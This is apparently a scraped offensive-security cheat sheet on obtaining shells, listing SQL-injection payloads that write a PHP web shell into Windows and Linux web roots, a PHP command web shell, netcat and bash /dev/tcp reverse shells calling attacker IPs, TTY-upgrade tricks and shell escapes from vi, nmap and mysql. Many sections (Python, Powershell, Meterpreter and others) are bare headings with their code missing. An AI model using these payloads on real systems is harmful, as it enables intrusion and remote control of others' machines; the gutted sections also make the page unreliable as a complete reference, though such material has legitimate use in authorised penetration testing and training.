Shells Linux
Shell From SQL Injection
# windows
?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'
# linux
?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE '/var/www/html/cmd.php'Reverse Shell
<?php system($_GET['cmd']);?>NC
nc 192.168.49.234 80 –e /bin/bashBash TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
/bin/bash -i >& /dev/tcp/192.168.49.234/80 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196Bash UDP
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Socat
Static socat binary can be found at https://github.com/andrew-d/static-binaries
Perl
Python
Linux only
IPv4
IPv4
IPv6
Windows only
PHP
Ruby
Golang
Netcat Traditional
Netcat OpenBsd
Ncat
OpenSSL
Attacker:
TLS-PSK (does not rely on PKI or self-signed certificates)
Powershell
Awk
Java
Java Alternative 1
Java Alternative 2
NOTE: This is more stealthy
War
Lua
Linux only
Windows and Linux
NodeJS
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy
Groovy Alternative 1
NOTE: This is more stealthy
C
Compile with gcc /tmp/shell.c --output csh && csh
Meterpreter Shell
Windows Staged reverse TCP
Windows Stageless reverse TCP
Linux Staged reverse TCP
Linux Stageless reverse TCP
Other platforms
Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
⚠️ OhMyZSH might break this trick, a simple sh is recommended
The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
or use socat binary to get a fully tty reverse shell
Spawn a TTY shell from an interpreter
vi:
:!bashvi:
:set shell=/bin/bash:shellnmap:
!shmysql:
! bash
Alternative TTY method
Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).
Server Side:
Client Side:
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
References
Last updated
Was this helpful?